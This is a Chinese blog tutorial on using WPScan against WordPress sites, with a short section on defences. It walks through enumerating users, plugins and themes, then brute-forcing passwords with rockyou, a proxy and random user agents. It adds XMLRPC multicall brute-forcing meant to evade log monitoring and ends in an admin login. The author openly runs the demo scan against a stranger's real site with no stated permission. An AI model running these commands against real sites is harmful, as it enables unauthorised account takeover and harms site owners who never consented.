WPScan使用完整教程之记一次对WordPress的渗透过程-泓源视野

WPScan使用完整教程之记一次对WordPress的渗透过程

本次简单的记录优下自己关于WPScan渗透实战的案例,以及对于WPScan的一些使用方法,有什么错误的地方希望各位大佬指正(Orz)

一:什么是WPScan

WPScan是一个扫描 WordPress 漏洞的黑盒子扫描器,它可以为所有 Web 开发人员扫描 WordPress 漏洞并在他们开发前找到并解决问题。

我们还使用了 Nikto ,它是一款非常棒的Web 服务器评估工具,我们认为这个工具应该成为所有针对 WordPress网站进行的渗透测试的一部分。

WordPress作为三大建站模板之一,在全世界范围内有大量的用户,这也导致白帽子都会去跟踪 WordPress的安全漏洞,WordPress自诞生起

也出现了很多漏洞.WordPress还可以使用插件、主题。于是WordPress本身很难挖掘什么安全问题的时候,安全研究者开始研究其插件、主题的

漏洞。通过插件,主题的漏洞去渗透WordPress站点,于是WPScan应运而生,收集 WordPress的各种漏洞,形成一个WordPress专用扫描器。

该扫描器可以实现获取站点用户名,获取安装的所有插件、主题,以及存在漏洞的插件、主题,并提供漏洞信息。同时还可以实现对未加防护的

WordPress站点暴力破解用户名密码。

WPScan已经被预安装在以下Linux系统中:

1: BackBox Linux

2: Kali Linux

3: Pentoo

4: SamuraiWTF

5:BlackArch

二:预备知识之WPscan安装与使用

由于Windows不支持WPScan。最新版本的WPScan可以在LinuxMac上下载使用:

在Ubuntu上安装

sudo apt-get install libcurl4-openssl-dev libxml2 libxml2-dev libxslt1-dev ruby-dev build-essential libgmp-dev zlib1g-dev

在Debian上安装

sudo apt-get install gcc git ruby ruby-dev libcurl4-openssl-dev make zlib1g-dev

在Fedora上安装

sudo dnf install gcc ruby-devel libxml2 libxml2-devel libxslt libxslt-devel libcurl-devel patch rpm-build

在Arch Linux上安装

pacman -Syu ruby
pacman -Syu libyaml

在macOS上安装

需要Apple Xcode,命令行工具和libffi(能够安装FFI gem具体安装过程请点击这里

常用参数选项:

--update 更新到最新版本
--url | -u <target url> 要扫描的WordPress站点. --force | -f 不检查网站运行的是不是WordPress --enumerate | -e [option(s)] 枚举

option:

u 枚举用户名,默认从1-10
u[10-20] 枚举用户名,配置从10-20
p 枚举插件
vp 只枚举有漏洞的插件
ap 枚举所有插件,时间较长
tt 列举缩略图相关的文件
t 枚举主题信息
vt 只枚举存在漏洞的主题
at 枚举所有主题,时间较长
可以指定多个扫描选项,例:"-e tt,p"
如果没有指定选项,默认选项为:"vt,tt,u,vp"
--exclude-content-based "<regexp or string>"
当使用枚举选项时,可以使用该参数做一些过滤,基于正则或者字符串,可以不写正则分隔符,但要用单引号或双引号包裹
--config-file | -c <config file使用指定的配置文件
--user-agent | -a <User-Agent指定User-Agent
--cookie <String指定cookie
--random-agent | -r 使用随机User-Agent
--follow-redirection 如果目标包含一个重定向,则直接跟随跳转
--batch 无需用户交互,都使用默认行为
--no-color 不要采用彩色输出
--wp-content-dir <wp content dirWPScan会去发现wp-content目录,用户可手动指定
--wp-plugins-dir <wp plugins dir指定wp插件目录,默认是wp-content/plugins
--proxy <[protocol://]host:port设置一个代理,可以使用HTTP、SOCKS4、SOCKS4A、SOCKS5,如果未设置默认是HTTP协议
--proxy-auth <username:password设置代理登陆信息
--basic-auth <username:password设置基础认证信息
--wordlist | -w <wordlist指定密码字典
--username | -U <username指定爆破的用户名
--usernames <path-to-file指定爆破用户名字典
--threads | -t <number of threads指定多线程
--cache-ttl <cache-ttl设置 cache TTL
--request-timeout <request-timeout请求超时时间
--connect-timeout <connect-timeout连接超时时间
--max-threads <max-threads最大线程数
--throttle <milliseconds当线程数设置为1时,设置两个请求之间的间隔
--help | -h 输出帮助信息
--verbose | -v 输出Verbose
--version 输出当前版本

0x02.WPScan选项说明

选项描述
--url扫描的目标url
-h显示帮助信息
-v显示版本
-o将扫描结果保存到文件
-f将扫描结果以指定的格式输出(cli-no-colour,cli-no-color,cli,json)
--detection-mode指定扫描的模式(Default: mixed,Available choices: mixed, passive, aggressive)
--user-agent指定user-agent
--random-user-agent随机user-agent
--http-auth login:passwordauth认证
-t指定最大线程(默认5)
--request-timeout指定扫描超时时间(默认60s)
--throttle执行另一个web请求之前等待的毫秒数。如果使用,最大线程数将设置为1
--connect-timeout指定连接超时时间(30)
--disable-tls-checks不检查tls
--proxy设置扫描代理
--proxy-auth代理认证
--cookie-string设置扫描使用的cookie
--cookie-jar读取和写入cookie的文件
--force不检查是不是运行的wordpress
--update更新
--api-token调用api扫描
--wp-content-dir检测自定义wp-content目录
--wp-plugins-dir检测自定义插件目录
-e vp扫描容易受到攻击的插件
-e ap扫描所有的插件
-e p扫描热门的插件
-e vt扫描容易受到攻击的主题
-e at扫描所有的主题
-e t扫描热门的主题
-e ttTimthumbs
-e dbe扫描数据库导出文件
-e cb扫描config备份文件
-e u扫描所有的用户
-e m扫描所有的媒体文件
--exclude-content-based排除扫描到的包含指定字符串的响应
-plugins-detection使用指定的模式扫描插件(Default: passive)
--plugins-version-detection使用指定的模式检查插件的版本(Default: mixed)
--exclude-usernames排除指定的用户名b
-P指定破解的密码文件
-U指定破解的用户列表
--multicall-max-passwords使用 XMLRPC 多重调用通过请求发送的最大密码数(Default: 500)
--password-attack强制使用提供的攻击,而不是自动确定一个(Available choices: wp-login, xmlrpc, xmlrpc-multicall)
--login-uri指定登录的页面
--stealthy设置别名

三:渗透站点演示

环境准备

kali linux

Debian 9

WPScan(linux中已经与安装)

WPScan使用完整教程之记一次对WordPress的渗透过程插图

渗透过程

1:安装及更新数据漏洞库

你可以使用下列命令在自己的设备中安装WPScan

git clone https://github.com/wpscanteam/wpscan.git
cd wpscan 进入下载主目录然后
安装 命令
gem install wpscan

更新漏洞库,使用命令:wpscan --update

WPScan使用完整教程之记一次对WordPress的渗透过程插图1

2:扫描WordPress漏洞

接下来使用下面的命令来扫描可能存在的漏洞网站:

wpscan --url [wordpress url]

z这里我直接用一个不认识的人的站点为例子进行演示(https://byy3.com)

wpscan --url https://www.byy3.com/
WPScan使用完整教程之记一次对WordPress的渗透过程插图2

3:扫描wordpress用户

我们可以对其用户进行枚举:wpscan --url https://byy3.com -e u 或

wpscan --url https://www.xxxxxxx.wiki/ --enumerate u
WPScan使用完整教程之记一次对WordPress的渗透过程插图3

得到的用户信息:

WPScan使用完整教程之记一次对WordPress的渗透过程插图4

4:暴力破解得到密码

wpscan --url www.xxxxx.fr --passwords ./rockyou.txt -U admin4572 -t100 --random-user-agent --proxy http://demo.spiderpy.cn/get/?type=https

 

wpscan --url https://www.xxx.com --ignore-main-redirect --passwords ./rockyou.txt -U admin -t100 --random-user-agent

在进行暴力破解攻击之前,我们需要创建对应的字典文件***新版有所更改 查看help

比如原来--wordlist 变为--passwords 然后 --username 变为 -U

或者https://github.com/wpscanteam/wpscan/wiki/WPScan-User-Documentation  

wpscan --url www.example.com --passwords ./passX.txt -U admin

wpscan --url https://www.xxxxx.wiki/ -e u --passwords /root/桌面/password.txt
*** wpscan3.7版本有改版 具体查看帮助wpscan -h 原来--wordlist 改成 -P

WPScan使用完整教程之记一次对WordPress的渗透过程插图5

效果图如下:

WPScan使用完整教程之记一次对WordPress的渗透过程插图6

5:扫描插件漏洞

插件可以扩展WordPress站点的功能,但很多插件中都存在安全漏洞,而这也会给攻击者提供可乘之机。

我们可以使用下列命令扫描WordPress站点中安装的插件:

wpscan -u https://www.xxxxx.wiki/ -enumerate p

或 wpscan --url https://www.lz80.com/ --enumerate p

WPScan使用完整教程之记一次对WordPress的渗透过程插图7

我们可以看到该网站中安装了easy-wp-smtp,theme-my-login插件:

WPScan使用完整教程之记一次对WordPress的渗透过程插图8

接下来,我们可以使用下列命令来扫描目标插件中的安全漏洞:

wpscan --url https://www.xxxxx.wiki/ --enumerate vp
WPScan使用完整教程之记一次对WordPress的渗透过程插图9

效果演示:

WPScan使用完整教程之记一次对WordPress的渗透过程插图10

6:主题漏洞扫描

使用下列命令对主题进行扫描:

wpscan --url https://www.xxxxx.wiki --enumerate t

发现一个主题:

WPScan使用完整教程之记一次对WordPress的渗透过程插图11

使用下列命令扫描主题中存在的漏洞:

wpscan --url https://www.xxxxxx.wiki --enumerate vt
WPScan使用完整教程之记一次对WordPress的渗透过程插图12

7:TimThumbs文件漏洞扫描

wpscan -u https://www.xxxxxx.wiki/ -enumerate tt
WPScan使用完整教程之记一次对WordPress的渗透过程插图13
WPScan使用完整教程之记一次对WordPress的渗透过程插图14

四:WordPress的防护措施

1:关于密码爆出防护措施

如果你想要避免WordPress用户列表被列举,不要把用户名作为昵称,并且不要使用已经被大众知道的用户名。最好的方式是选择一个包含随机字

符的名字做用户名并且使用其他名字作为昵称。 WPScan扫描URL来获取用户名,所以如果你不使用这个用户名,你肯定不会被WPScan搜索到。

防止暴力破解的最好方式是限制一个IP地址的尝试登录次数。WordPress有很多插件可以实现这个功能。列如有一个插件叫

Brute Force Login Protection(当然你也可以写一个脚本防止爆出个人密码)

2:如何防范扫描插件、主题、TimThumb文件

使用Block Bad Queries (BBQ)插件,就可以屏蔽和禁止这类扫描

最后密码爆破

我们输入如下命令开始爆破:

 
1
wpscan --url http://172.16.12.2:8080/ --wordlist /home/ichunqiu/wordbrutepress/password.lst --username zhangsan

WPScan使用完整教程之记一次对WordPress的渗透过程插图15

WPscan

成功爆破密码qwer1234

爆破是否成功很大取决于字典是否强大,从另一方面来说,我们设置密码时要足够强

  • XMLRPC爆破

xmlrpc 是 WordPress 中进行远程调用的接口,低版本中曾曝出可利用 xmlrpc 调用接口中的 system.multicall提高爆破效率,通过 xmlrpc可以将多个密码组合在一次请求中提交,可以减少请求次数,从而规避日志的监测。

该接口只允许POST提交请求,我们大概看看包内容

WPScan使用完整教程之记一次对WordPress的渗透过程插图16

post

请求头中包含了登录信息

具体原理请参考

WordPress 利用 XMLRPC 爆破)

由上面的WPscan扫描结果可知目标站点存在该接口,而3.4.1 这个版本在影响范文之内的 我们使用工具开始爆破

命令行切换到下载的工具目录,

执行命令如下:

 
1
python WordBrutepress.py -X -t http://172.16.12.2:8080/ -u zhangsan -w /home/ichunqiu/wordbrutepress/password.lst

执行结果:

WPScan使用完整教程之记一次对WordPress的渗透过程插图17

bru

使用获取的密码成功登陆后台

WPScan使用完整教程之记一次对WordPress的渗透过程插图18

admin
本文由 泓源视野 作者:admin 发表,其版权均为 泓源视野 所有,文章内容系作者个人观点,不代表 泓源视野 对观点赞同或支持。如需转载,请注明文章来源。
24
admin

发表评论

Protected with IP Blacklist CloudIP Blacklist Cloud
您是第8238038 位访客, 您的IP是:[3.145.50.83]